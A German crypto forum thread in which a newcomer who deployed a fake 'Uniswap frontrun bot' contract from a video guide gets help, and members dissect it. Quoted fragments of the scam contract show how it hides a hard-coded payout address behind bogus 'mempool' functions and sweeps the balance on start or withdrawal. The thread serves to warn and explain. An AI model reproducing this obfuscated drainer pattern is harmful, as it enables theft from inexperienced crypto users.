sladostrastnik Posted June 10 Share Posted June 10 Sehr geehrte Forenmitglieder, ich habe mich kürzlich zum ersten Mal mit Kryptowährungen (Ethereum) beschäftigt. Leider ist bei meinen Aktivitäten etwas schiefgelaufen, weshalb ich dringend eure Hilfe benötige. Was passiert ist: Ich habe einen Account bei MetaMask erstellt und über Kraken Ethereum erworben. Anschließend habe ich mithilfe einer Internetanleitung einen Smart-Contract abgeschlossen. Dabei habe ich den Remix Ethereum Compiler verwendet und einen Code (den ich nicht selbst erstellt habe) eingefügt. Gemäß der Anleitung habe ich den Vertrag abgeschlossen. In meinem MetaMask-Account werden unter "Activity" drei Einträge angezeigt: 1) "Contract Deployment - Remix Ethereum Compiler"; 2) "Contract Interaction - MetaMask"; 3) "Start - Remix Ethereum Compiler". Auf Etherscan steht unter "Overview", dass der Vertrag geschlossen wurde und anscheinend aktiv ist (zumindest interpretiere ich es so - wie bereits erwähnt, bin ich noch neu in diesem Bereich). Mein Problem ist folgendes: Ich möchte den Vertrag beenden, weiß aber nicht, wie das genau funktioniert. Meine Vermutung ist, dass es möglicherweise an dem zu geringen Guthaben auf meinem MetaMask-Account liegt, um die Transaktionsgebühr zu bezahlen, da ich bei Vertragsabschluss mein gesamtes Ethereum eingesetzt habe. Ich bin mir darin aber nicht sicher... Selbst wenn mein MetaMask-Account noch die paar Euros übrig hätte (ich kann natürlich noch was draufpacken), hätte ich noch keine Ahnung, wie der laufende Contract beendet werden muss! Daher bitte ich euch hiermit um Hilfe. Ich hoffe, ihr könntet mir erklären, wie dieser Contract beendet werden kann und wie ich mein Geld zurück auf meinen MetaMask-Account bekomme. Für weitere Fragen oder Klarstellungen stehe ich gerne zur Verfügung. Vielen Dank im Voraus für eure Hilfe! Link to comment Share on other sites More sharing options...
coco Posted June 10 Share Posted June 10 (edited) Welche Dapp hast Du für den "Vertrag" genutzt. Die "Anleitung aus dem Internet" dafür wäre auch hilfreich. Ohne ETH wirst Du keine Transaktion mehr ausführen können. Das hast Du richtig vermutet. Ohne weitere Infos würde ich vermuten, Du bist einem Betrug erlegen und hast ETH über einen Mixer (also schwer nachvollziehbar) an einen fremden Account gesendet. Edited June 10 by coco Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 10 Author Share Posted June 10 Unter Dapp wird vielleicht Remix Ethereum Compiler? Ich kenne mich halt schlecht aus... Aber es riecht wohl nach Betrug, wird teures Lehrgeld gewesen sein. Aber hier ist die Anleitung, der ich aufgesessen habe : Unten hat er die Beschreibung, in der diese Anleitung steckt. Dort auch link zu einer Seite, wo sein code abgebildet ist. Tja, ich gehe nun halt auch davon auch, dass das Geld weg ist. Schaut bitte genauer darüber, damit ich es sicher abschreiben/vergessen kann und keiner sonst eventuell betrogen wird, falls es sich als Betrug herausstellt. Vielleicht könnt ihr mir Tipps als, einem Neuling, dann geben, woran/an welchen Begriffen/Sachen ich solche Betrüger in Zukunft entdecken kann. Falls es eben einer ist. Vielen Dank nochmal für die Mühen! Link to comment Share on other sites More sharing options...
skunk Posted June 10 Share Posted June 10 Ausgeführt hast du das hier: /* * @dev Perform frontrun action from different contract pools * @return `liquidity`. */ function start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } Es gibt ein Withdrawal direkt darunter: /* * @dev withdraws profits back to the contract creator address * @return `profits`. */ function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawProfits()).transfer(address(this).balance); } Wenn du wissen willst an welche Adresse der Withdrawal gehen würde dann musst du einmal withdrawProfits ausführen. Das sollte eigentlich kostenlos sein und du kannst prüfen ob der widthrawal überhaupt an deine Adresse gehen würde. Zusätzlich solltest du auch prüfen ob der Contract überhaupt eine Balance hat. Das kannst du recht einfach über einen Block Explorer machen. Wenn du kein Wort verstehst von dem was ich geschrieben habe dann kannst du mir auch einfach die Adresse des Contracts senden und ich prüfe das kurz. 1 Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 10 Author Share Posted June 10 (edited) vor 28 Minuten schrieb skunk: Wenn du kein Wort verstehst von dem was ich geschrieben habe dann kannst du mir auch einfach die Adresse des Contracts senden und ich prüfe das kurz. pm geht irgendwie nicht. also hier ist sie: 0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1 Edited June 10 by sladostrastnik keine pm möglich? Link to comment Share on other sites More sharing options...
skunk Posted June 10 Share Posted June 10 (edited) vor 34 Minuten schrieb sladostrastnik: pm geht irgendwie nicht. also hier ist sie: 0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1 0,49 ETH liegen noch da und warten auf den Withdrawal. An welche Adresse der gehen würde kann ich jedoch nicht so einfach einsehen. Das müsstest du dann wohl selbst machen. Edit: Ich habe den Code gerade mal selbst kompiliert. Adresse prüfen kannst du leider nicht. Du kannst tatsächlich nur Start oder Withdraw ausführen. Mehr Infos gibt es nicht. Edited June 10 by skunk Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 10 Author Share Posted June 10 a) ..hab nochmal drüber nachgedacht: da withdrawl drin ist im Code und ausgeführt werden kann, dann geht doch der Betrag automatisch nur (!) an den Ersteller des Contracts? Ist das richtig? Dann brauche ich den Code nicht ändern, sondern nur ausführen z.b. mit Remix-Compiler, dort den Button "Withdrawl" drücken (bisschen Guthaben auf Metamask für Gebühren laden natürlich) und denne sollten die Eth´s ausm Contract wieder zurück im MM-Acount sein? b) Wenn aber es nicht automatisch an den Ersteller zurück geht, dann kann man doch die Funktion "withdrawProfits()" in seinem Code mit "msg.sender" erweitern. Also aus seinem Block: function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawProfits()).transfer(address(this).balance); } das hier machen (?): function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); address payable contractCreator = msg.sender; contractCreator.transfer(address(this).balance); } Link to comment Share on other sites More sharing options...
PeWi Posted June 10 Share Posted June 10 3 hours ago, skunk said: Wenn du kein Wort verstehst Auch wenn du das auf deinen Post bezogen hast - ich habe mir den Quelltext auch mal durchgeschaut und kaum was verstanden (mangels Ahnung von Solidity und Smart Contracts). (Erstaunt hat mich nebenbei, dass so viele hartcodierte Zahlen vorkommen.) Wenn das tatsächlich ausprogrammiertes Frontrunning auf Uniswap ist, dann könnte es durchaus funktionieren? Man wird nur laut Erklärungen eine gewisse Mindestmenge an ETH zum sinnvollen Funktionieren brauchen, die ich ohne Ahnung nicht riskieren will. (Dass die Kommentare unter dem Youtube eigentlich alle recht angetan sind, ist mir kein hinreichender Beweis, dass das ganze legit ist.) Was meinst du als Experte zu dem Code? Schaut er vernünftig aus oder seltsam? Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 10 Author Share Posted June 10 Hmm, noch was. Wenn ich sowieso nur den withdrawl-Button bzw. diese Funktion an sich brauche im Remix, braucht man dann seinen ganzen Code überhaupt? Wäre es nicht einfacher das so zu implementieren/ausführen?: pragma solidity ^0.6.6; contract MyContract { event Log(string message); /* * @dev withdraws profits back to the contract creator address * @return `profits`. */ function withdrawal() public { emit Log("Sending profits back to contract creator address..."); address payable contractCreator = msg.sender; contractCreator.transfer(address(this).balance); } } Das müsste doch reichen, um das Geld zurückzuholen? Und noch was - mit solidity 0.6.6 war der Ursprungscode geschrieben, also muss dieser Code dem entsprechend doch auch mit 0.6.6 gemacht werden? Sollte man es also besser mit dem Ursprungscode machen, oder geht der von diesem Post besser (etwas Zeit zum überlegen habe ich ja, bis paar Euronen auf kraken sind, für die Transaktion-Gebühr)? Link to comment Share on other sites More sharing options...
skunk Posted June 10 Share Posted June 10 (edited) vor 1 Stunde schrieb sladostrastnik: da withdrawl drin ist im Code und ausgeführt werden kann, dann geht doch der Betrag automatisch nur (!) an den Ersteller des Contracts? Ist das richtig? Nein. Nur weil die Funktion Withdraw heißt, ist das noch lange keine Garantie dafür, dass die an deine Adresse auszahlt. Der Quellcode lässt mich daran irgendwie zweifeln. Ich vermute eher das ist ein Scam und zwar ein sehr geschickter. So geschickt, dass ich es nicht mit Gewissheit sagen. Was mich stutzig macht ist das Fehlen deiner Adresse. Jeder andere Smart Contract würde im Quellcode eine Variable mit dem Namen Owner setzen oder irgendwas in der Richtung. Wenn ich das richtig lese dann wird das hier ausgeführt um die Adresse zu ermitteln: /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 661728; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 774919; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 157565; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 474310; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } Warum so umständlich? Das sieht mir eher danach aus, dass der Smart Contract praktisch eine fixe Auszahlungsadresse generiert aber diese geschickt im Quellcode versteckt. Dem traue ich nicht über den Weg. vor 1 Stunde schrieb sladostrastnik: Wenn aber es nicht automatisch an den Ersteller zurück geht, dann kann man doch die Funktion "withdrawProfits()" in seinem Code mit "msg.sender" erweitern. Und wie stellst du dir das vor? Einmal deployed kannst du den Quellcode nicht nachträglich ändern. Was du dagegen machen kannst ist die aktuell noch als internal markierte Funktion einfach mal Public machen. Dann den Code erneut deployen. Vorzugsweise im Testnet um nicht unnötig Transaktionsgebühren zu bezahlen. Edit: Ich sehe gerade die Withdrawal Adresse ist komplett hardcodiert. Die 3 get Funktionen, die dort aufgerufen werden, geben auch nur jeweils eine Zahl zurück. Das heißt es ist egal wer den Smart Contract deployed. Die Auszahlung geht immer an die gleiche Adresse. Ich tippe mal ganz stark darauf, dass der Smart Contract das Ziel hat dich möglichst lange im Unklaren zu lassen. Du butterst da 0,5 ETH rein. Dann bekommst du auf magische Art und Weise einen Reward wo es eigentlich keinen geben dürfte. Vermutlich mit der Absicht in deinem Gehirn den Schalter mit der Aufschrift "Gier" zu aktivieren um dich dazu zu verleiten weitere ETH einzuzahlen. Wenn du irgendwann in vielen Monden dann dein Geld auszahlen willst, folgt die Überraschung. Darauf tippe ich. vor 1 Stunde schrieb PeWi: Wenn das tatsächlich ausprogrammiertes Frontrunning auf Uniswap ist, dann könnte es durchaus funktionieren? Warum sollte irgend jemand bei seinem Trade einen fremden Smart Contract mit ausführen? Eigentlich gilt, dass jemand den Smart Contract aufrufen muss. Ein Smart Contract wird niemals automatisch ausgeführt. Die ganzen Frontrunner Geschichten laufen soweit ich weiß über Bots. Das Zauberwort dafür heißt MEV. Das sind Bots, die den ganzen Tag lang alle Transaktionen des Mempools durchgehen und schauen ob sie irgendwie Profit daraus schlagen können. Finden sie eine Möglichkeit, müssen sie aktiv eine Transaktion erstellen, signieren und mit einer entsprechend höheren Transaktion Gebühr noch davor in den Mempool schieben. Interessant ist auch, dass in dem Quellcode mehrfach das Wort Mempool fällt aber dahinter verbergen sich dann nur hardcodierte Werte. Es gibt ein getMemPoolLength, getMemPoolHeight, getMemPoolDepth. Seit wann hat der Mempool 3 Dimensionen? Und warum geben alle 3 Funktionen einen fixen Wert zurück? Fun Fact am Rande: Der Smart Contract kann den Mempool so oder so nicht abfragen. Insofern ist der Teil des Codes ziemlich sicher Bullshit. Vermutlich mit dem Ziel die Auszahlungsadresse zu maskieren sodass sie nicht auf den ersten Blick ins Auge springt. Edited June 10 by skunk 2 2 Link to comment Share on other sites More sharing options...
Octagon Posted June 11 Share Posted June 11 (edited) vor 20 Stunden schrieb sladostrastnik: Sehr geehrte Forenmitglieder, ich habe mich kürzlich zum ersten Mal mit Kryptowährungen (Ethereum) beschäftigt. Leider ist bei meinen Aktivitäten etwas schiefgelaufen, weshalb ich dringend eure Hilfe benötige. Ich habe schnell den Contract angeschaut, das Video selbst ist schon verdächtig… Das ist ein typischer momentan sehr verbreiteter Scam der einem vorgaukelt das der Contract ein MEW bot ist auf Contract Basis. Rein technisch funktioniert die Idee schon mal gar nicht so. Skunk hat das oben schon etwas beschrieben. Ein Contract kann nicht "gestartet" werden und macht dann was. Es benötigt immer eine Transaktion für jede Interaction. Nur falls Uniswap von ihren eigenen Contracts aus bei einer Transaktion einen Hook zu einem anderen Contract aufruft, wäre so was möglich. Die Fees würden vom jeweiligen User des Swaps bezahlt. ABER es gibt eigentlich keine grössere Sicherheitslücke die jemals aufgetan werden kann als sowas, jedenfalls in der Form.. externe Contract-Calls zu "irgendwas und allem" zu erlauben. Kurzum: Sowas ist nicht möglich in der Form auf Uniswap. Der Contract hier ist schön eingewickelt in nette Buzzwords wie, frontrun, uniswap withdraw, mew bot, etc. und all das Gedöns nur damit es aussieht als würde da irgend sowas gemacht. Was grundsätzlich in dieser Form sowieso so nicht möglich ist. Jedenfalls ist das meiste aus einigen anderen Contracts zusammengewürfelt, Copy/Past. Hat keinen Kontext, wird weder aufgerufen noch werden viele Variablen/Funktionen überhaupt benutzt. Sieht aber toll aus. Das sind typische Scam Contracts die so obfuskiert sind, dass man die wahre Funktionalität nur sehr schwer herausfindet. Also Leie sieht das alles grossartig aus. Die "fundest" den Contract aus dem folgendem Grund und was danach genau passiert: «Funden» weil man so nicht sofort erkennt, dass deine ETH eigentlich woanders hin gesendet werden sollten. 1. Du sendest ETH an den Contract, Funding. Die bleiben vorerst dort. Du hast nun nur 2 Möglichkeiten, die schlussendlich genau dasselbe machen: 2. Start: Durch den Aufruf mehrerer "getarnten" mit großartigen Funktionsnamen wird am Ende so bloss eine Fixe Adresse generiert: 0xBcF87A18e05e562BD307d76682677d2388973cc6 Es ist absichtlich sehr low Level und Wirrwarr mässig obfuskiert damit man eine Wahnsinns- Funktion hat bei der man denk, "was die alles macht, wow". Generiert aber nur versteckt auf simpelste Weise des Scammers Ziel Adresse. Der eigentliche Transfer und alles was die Funktion eigentlich macht, findet jetzt statt: Es werden alle Ether, die du auf dem Contract hast, dem netten Scammer(die generierte Adresse) direkt auf sein Konto überwiesen. Ende der Funktionalität. 3. Withdraw: Macht exakt dasselbe. Somit sind deine Ether verloren. Du kannst die nur mit start oder withdraw dem Scammer die ETH überweisen, das ist alles. Leider gibt es keine Alternative. Am besten lässt die sie da wo sie sind, damit der nicht noch davon profitiert, und als Lehrgeld abschreiben. Also nicht start oder withdrawl ausführen! Aber leider sind die ETH dennoch verloren. Edited June 11 by Octagon Typo 1 2 Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 11 Author Share Posted June 11 erstmal danke für die Antwort... Da habe ich mir aber wirklich was eingebrockt:) vor 8 Stunden schrieb skunk: Und wie stellst du dir das vor? Einmal deployed kannst du den Quellcode nicht nachträglich ändern. ...tja, echt gute Frage! Vielleicht (ich weiß mittlerweile nicht wo was ist..) aber, indem man eine Vertragsinstanz erstellt, die die Adresse des Contracts verwendet und danach contractInstance.closeContract()? pragma solidity ^0.6.6; contract MyContract { address payable public creator; bool public contractClosed; constructor() { creator = payable(msg.sender); contractClosed = false; } modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } modifier contractNotClosed() { require(!contractClosed, "Contract is already closed."); _; } function closeContract() public onlyCreator contractNotClosed { contractClosed = true; creator.transfer(address(this).balance); } // ... // Weitere Funktionen und Logik des Smart Contracts // ... } // Verwende die gegebene Adresse, um den Vertrag aufzulösen contract MyContractResolver { address payable public contractAddress = payable(0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1); function closeContractAndTransferFunds() external { MyContract contractInstance = MyContract(contractAddress); contractInstance.closeContract(); } } ist es irgendwie doch schwachsinnig? Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 11 Author Share Posted June 11 vor 50 Minuten schrieb Octagon: Am besten lässt die sie da wo sie sind, damit der nicht noch davon profitiert, und als Lehrgeld abschreiben. wenn nix geht, lass ichs dort für die Ewigkeit, jaa... Link to comment Share on other sites More sharing options...
PeWi Posted June 11 Share Posted June 11 11 hours ago, PeWi said: (Erstaunt hat mich nebenbei, dass so viele hartcodierte Zahlen vorkommen.) Dann war die Skepsis ja berechtigt. Und dass die vielen YT-Kommentare absolut nichts besagen. Und dass Smart Contracts immer nur auf einen konkreten Anstoss hin laufen und nicht selbständig aktiv bleiben, hätte ich mir eigentlich denken können. Vielen Dank, @skunkund @Octagon, für eure Bewertung! Link to comment Share on other sites More sharing options...
Octagon Posted June 11 Share Posted June 11 (edited) vor 4 Stunden schrieb sladostrastnik: erstmal danke für die Antwort... Da habe ich mir aber wirklich was eingebrockt:) ...tja, echt gute Frage! Vielleicht (ich weiß mittlerweile nicht wo was ist..) aber, indem man eine Vertragsinstanz erstellt, die die Adresse des Contracts verwendet und danach contractInstance.closeContract()? pragma solidity ^0.6.6; contract MyContract { address payable public creator; bool public contractClosed; constructor() { creator = payable(msg.sender); contractClosed = false; } modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } modifier contractNotClosed() { require(!contractClosed, "Contract is already closed."); _; } function closeContract() public onlyCreator contractNotClosed { contractClosed = true; creator.transfer(address(this).balance); } // ... // Weitere Funktionen und Logik des Smart Contracts // ... } // Verwende die gegebene Adresse, um den Vertrag aufzulösen contract MyContractResolver { address payable public contractAddress = payable(0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1); function closeContractAndTransferFunds() external { MyContract contractInstance = MyContract(contractAddress); contractInstance.closeContract(); } } ist es irgendwie doch schwachsinnig? Ein Contract ist kein „Vertrag“ im eigentlichen Sinn, den man öffnen/abschließen oder sonst irgendwie als Vertrag behandeln kann. Du musst das ganze so sehen: Es ist schlicht ein Programm. Das grundsätzlich, wenn mal deployed genau das macht was der Code dir oder jemandem anderen erlaubt. Und sonst nichts. Die Grundlage eines Contracts ist eine sehr hohe Sicherheit, die eben dafür sorgt, dass nur EXAKT genau das ausgeführt werden kann, was als code geschrieben ist. Die Idee mit dem „closeContract“ ist nicht verkehrt, kann man sicherlich in einen NEUEN Contract einbauen, falls das irgendeine Funktionalität erfüllen sollte. Aber eben nicht in dem bereits vorhandenen. Dieser ist beriets in Stein gemeißelt und kann GENAU das, wofür er geschrieben worden ist und überhaupt kein bisschen was anderes. Was genau dieser Contract kann, habe ich oben geschrieben. Mann kann sich auf den Kopf stellen, aber es bleibt unmöglich etwas auszuführen, was nicht explizit genau so im code steht. Und eben „vertrag schließen“ gibt es nicht, einen Vertrag gibt es so gesehen nicht. Mann kann vieles in einen Contract bauen, wenn es jetzt aber nicht drin ist, kann man nichts mehr hinzufügen/ändern. Es gibt auch kein „Recht“, das erstellt wurde, welches du hättest auf den Contract. Der Contract weiß eigentlich nichts von dir als „Besitzer“, somit hast du dort auch kein Recht mehr oder weniger als jeder beliebige. Du bist nicht als Besitzer "registriert". WEIL es so im Code drinn steht jetzt. Das ist die Idee von Contracts, das dies eben genau so sein muss, und wenn mal geschrieben nichts geändert werden kann. Wie erwähnt das ist kein „Standard“ Contract, sondern eben genau für diesen Zweck gebaut, den er auch erfüllt hat, und das erfolgreich. Und dabei hast du noch die ganzen Fees/Deployment selbst bezahlt. Stell dir nun vor, du könntest mit deinem Beispiel von „close contract“ so irgendeinen beliebigen Contract schließen. Dann würde ich mal Tether schließen oder so. Das funktioniert so nicht. Falls Tether eine solche Funktion eingebaut hätte, dann aber auch nur mit der Bedingung: nur Ich, der Besitzer, Deployer, oder Adresse XY darf das. Ansonsten kann ja mal jeder kommen… Aber sowas ist nicht Teil des Contracts und deshalb kann man auch nichts machen. Nichts. Vieles erscheint vielleicht nicht ganz so nachvollziehbar, aber das alles sind Grundlagen von solchen „Verträgen“. Im Übrigen habe ich grad bemerkt, vermutlich auch mit Absicht so implementiert, der Scammer kann sich deine Ether sowieso holen. Falls er bereit ist die Gasfee zu bezahlen, kann er selber start oder withdrawl ausführen. JEDER der möchte könnte es, da die Funktion öffentlich ist, und eben nur die vorhandenen ETH transferiert. Egal wer, wie oder was die Funktion aufrufen wird, er bekommt die ETH. Solange er nicht weiß das dieser Contract existiert, passiert nichts, falls er aber irgendwie davon erfährt werden die ETH von alleine verschwinden. Zur Veranschaulichung, wäre eben sowas grundsätzlich notwendig wie in deinem Beisipiel: modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } function withdrawal() onlyCreator public payable Jetzt könntest NUR DU auch withdraw/start etc. ausführen. Das wäre „normal“, und so sieht man schon hier überhaut nichts stimmt an dem Zeugs. Edited June 11 by Octagon 2 3 Link to comment Share on other sites More sharing options...
skunk Posted June 11 Share Posted June 11 vor 8 Stunden schrieb sladostrastnik: wenn nix geht, lass ichs dort für die Ewigkeit, jaa... Da macht dir mal keine Sorgen. Die Withdraw Funktion kann von jedem ausgeführt werden. Es gibt eine Person die einen finanziellen Anreiz in höher deiner ETH hat die Withdraw Funktion irgendwann aufzurufen... 1 Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 12 Author Share Posted June 12 Danke Jungs, fürs Beschäftigen mit dem garbage-code. Ja, das Stichwort, worauf ich hier reinfiel ist uralt und heißt "Gier":) Dazu stehe ich (was denn sonst...), ich will auch keine Entschuldigung (vom Allmächtigen wohl..), die Strafe ist meins und da bin ich nun durch. Ansonsten, mal sehen, wann unter dem hash kein Geld mehr zu sehen ist, nur aus Neugier. Wies0 der das noch nicht weg ist (falls ich es richtig verstehe - und der Betrüger hats bereits bei sich im Wallet)? Oder was genau zeigt der hast im etherscan? Ist es schon bei jmd im Wallet und ich versteh nur nicht.... Nun ists technisch ja latex, aus Neugier nur fragen/verfolgenm wanns denn weg ist (vllt hats was damit zu tun, dass da weniger als 0,5 drin ist, und er redet in seinem Video vom "am besten über 0,5" -- k.a.) Schnelle Hilfe, schöner Forum. Werde eure nicks in meinen Gebeten erwähnen, sollt ich mal so weit sein....Danke, tschüüü erstmal! 1 Link to comment Share on other sites More sharing options...
Octagon Posted June 12 Share Posted June 12 vor 2 Stunden schrieb sladostrastnik: Danke Jungs, fürs Beschäftigen mit dem garbage-code. Ja, das Stichwort, worauf ich hier reinfiel ist uralt und heißt "Gier":) Dazu stehe ich (was denn sonst...), ich will auch keine Entschuldigung (vom Allmächtigen wohl..), die Strafe ist meins und da bin ich nun durch. Ansonsten, mal sehen, wann unter dem hash kein Geld mehr zu sehen ist, nur aus Neugier. Wies0 der das noch nicht weg ist (falls ich es richtig verstehe - und der Betrüger hats bereits bei sich im Wallet)? Oder was genau zeigt der hast im etherscan? Ist es schon bei jmd im Wallet und ich versteh nur nicht.... Nun ists technisch ja latex, aus Neugier nur fragen/verfolgenm wanns denn weg ist (vllt hats was damit zu tun, dass da weniger als 0,5 drin ist, und er redet in seinem Video vom "am besten über 0,5" -- k.a.) Schnelle Hilfe, schöner Forum. Werde eure nicks in meinen Gebeten erwähnen, sollt ich mal so weit sein....Danke, tschüüü erstmal! Ja, die Gier,.. kennt wohl jeder... kann ja mal passieren. Ich denke mal, dass er den einen useCase gar nicht bedacht hat und davon ausgeht, dass der User sowieso "start" ausführen wird, da er ja das ganze so weit fertiggestellt hat, und er ja loslegen sollte. Dass der Zufall es will, und nicht mehr genug ETH dafür da sind, war nicht Teil des Plans. Er kann nicht wissen, dass dieser Contract existiert. Soweit gab es keine Funktion, die irgendeine Meldung oder was irgendwohin verschickt beim Deployen. Er ist darauf angewiesen, dass jemand "start" ausführt. Oder er scannt alle neuen Contracts auf ETH, um sie zu suchen. Wird kaum was kosten den transfer auszuführen, würde sich also auf jeden fall lohnen. 1 1 Link to comment Share on other sites More sharing options...
skunk Posted June 12 Share Posted June 12 (edited) vor 3 Stunden schrieb sladostrastnik: Wies0 der das noch nicht weg ist (falls ich es richtig verstehe - und der Betrüger hats bereits bei sich im Wallet)? Wozu die Eile? Aus Sicht des Scammer stellt sich die spannende Frage wann die Opfer merken, dass mit dem Smart Contract etwas nicht stimmt und wie viel weitere ETH sie bis dahin noch einzahlen. Auch interessant ist wie vielen anderen Menschen du von diesem tollen Smart Contract in der Zeit erzählst. Über all das wird der Scammer eine Statistik führen. Jedes Opfer ist ein weiterer Messpunkt für diese Statistik. Der Scammer wird von sich aus erst dann ein Withdraw initieren wenn er davon ausgehen kann, dass es sich nicht mehr lohnt weiter abzuwarten. Aus seiner Sicht besteht zumindest aktuell noch die Möglichkeit, dass du weitere ETH einzahlst. Solange diese Möglichkeit besteht wird der Scammer die Füße still halten. Der finale Messpunkt für seine Statistik wird sein zu welchem spätest möglichen Zeitpunkt seine Opfer netterweise noch Withdraw ausführen. Bedeutet für den Scammer immerhin, dass er die Transaktionsgebühren nicht bezahlen muss. vor einer Stunde schrieb Octagon: Er kann nicht wissen, dass dieser Contract existiert. Soweit gab es keine Funktion, die irgendeine Meldung oder was irgendwohin verschickt beim Deployen. Er ist darauf angewiesen, dass jemand "start" ausführt. Oder er scannt alle neuen Contracts auf ETH, um sie zu suchen. Die Start Funktion erzeugt netterweise einen Log Eintrag. Ich hätte behauptet ich kann meiner lokalen Geth Node eine Einstellung mit auf den Weg geben diese Log Einträge alle in ein Debug Log zu schreiben. Damit wären all diese Smart Contracts recht einfach zu finden. Edited June 12 by skunk 1 2 Link to comment Share on other sites More sharing options...
skunk Posted June 13 Share Posted June 13 Am 10.6.2023 um 16:17 schrieb sladostrastnik: Aber hier ist die Anleitung, der ich aufgesessen habe : Ich habe mal den Code aus der Anleitung im Testnet deployed um die Zieladresse raus zu bekommen. Das Muster passt aber nicht zu deinem Contract. Eventuell haben die Scammer zwischenzeitlich den Quellcode verändert. Aktuelle würde das hier passieren: https://etherscan.io/address/0x75490e387f72a229e00f73f4e5f1d5477fcae6cf Schon beim Start wird alles Guthaben umgebucht. Bei dir liegt das Guthaben auch nach dem Aufruf von Start noch im Contract. Irgendwas passt hier nicht zusammen. Kannst du uns vielleicht mal den Quellcode geben, den du noch in remix gespeichert hast? 1 Link to comment Share on other sites More sharing options...
sladostrastnik Posted June 13 Author Share Posted June 13 ich spielte eine runde mit diesem code von oben: pragma solidity ^0.6.6; contract MyContract { address payable public creator; bool public contractClosed; constructor() { creator = payable(msg.sender); contractClosed = false; } modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } modifier contractNotClosed() { require(!contractClosed, "Contract is already closed."); _; } function closeContract() public onlyCreator contractNotClosed { contractClosed = true; creator.transfer(address(this).balance); } // ... // Weitere Funktionen und Logik des Smart Contracts // ... } // Verwende die gegebene Adresse, um den Vertrag aufzulösen contract MyContractResolver { address payable public contractAddress = payable(0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1); function closeContractAndTransferFunds() external { MyContract contractInstance = MyContract(contractAddress); contractInstance.closeContract(); } } Und beim Bestätigen der Transaktion hat mir Metamask Gebühren in Höhe von knapp 83€ (in Worten: dreiundachtzig (!) angezeigt:) Bisher hab ich gesehen irgendwas um 1€.... Was läuft hier denn wieder, werd ich hier auch veräppelt:)? Wie kommt so ein hoher Betrag zu8sammen? Link to comment Share on other sites More sharing options...
Octagon Posted June 13 Share Posted June 13 vor 6 Stunden schrieb skunk: Schon beim Start wird alles Guthaben umgebucht. Bei dir liegt das Guthaben auch nach dem Aufruf von Start noch im Contract. Irgendwas passt hier nicht zusammen. Kannst du uns vielleicht mal den Quellcode geben, den du noch in remix gespeichert hast? Stimmt, habs auch nochmals durchgespielt und bei mir geht das Guthaben bei start sofort raus. Er hat ja start ausgeführt. Hab gedacht, dass es ein revert gewesen ist, weil zu wenig gas, hab das falsch gelesen, aber es ging ja durch und Guthaben ist wirklich noch da. Und einen Tag danach hat eine andere Adresse "swap" ausgeführt. Function: swap(string aggregatorId, address tokenFrom, uint256 amount, bytes data) Das gibts aber gar nicht in diesem Contract !? @sladostrastnik Sicher, dass es der Code von dem Video war? Vielleicht besteht ja noch Hoffnung.... 2 Link to comment Share on other sites More sharing options...
Octagon Posted June 13 Share Posted June 13 vor 7 Stunden schrieb sladostrastnik: ich spielte eine runde mit diesem code von oben: pragma solidity ^0.6.6; contract MyContract { address payable public creator; bool public contractClosed; constructor() { creator = payable(msg.sender); contractClosed = false; } modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } modifier contractNotClosed() { require(!contractClosed, "Contract is already closed."); _; } function closeContract() public onlyCreator contractNotClosed { contractClosed = true; creator.transfer(address(this).balance); } // ... // Weitere Funktionen und Logik des Smart Contracts // ... } // Verwende die gegebene Adresse, um den Vertrag aufzulösen contract MyContractResolver { address payable public contractAddress = payable(0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1); function closeContractAndTransferFunds() external { MyContract contractInstance = MyContract(contractAddress); contractInstance.closeContract(); } } Und beim Bestätigen der Transaktion hat mir Metamask Gebühren in Höhe von knapp 83€ (in Worten: dreiundachtzig (!) angezeigt:) Bisher hab ich gesehen irgendwas um 1€.... Was läuft hier denn wieder, werd ich hier auch veräppelt:)? Wie kommt so ein hoher Betrag zu8sammen? Vermutlich failed die Transaction, deshalb. Kurzer Test: Falls du von MyContractResolver die Funktion aufrufst gehts nicht. Denn: modifier onlyCreator() { require(msg.sender == creator, "Only contract creator can call this function."); _; } Das require wird fehlschlagen, da msg.sender != creator. Wenn so aufgerufen ist msg.sender der callende contract und nicht der creator. Ich vermute das es fehlschlägt, und deshalb so hoch anzeigt. Normal ist es höchstens vielleicht ein Euro, wenn die Ausführung klappt, kostet ca. 37k gas, also nicht viel. Link to comment Share on other sites More sharing options...
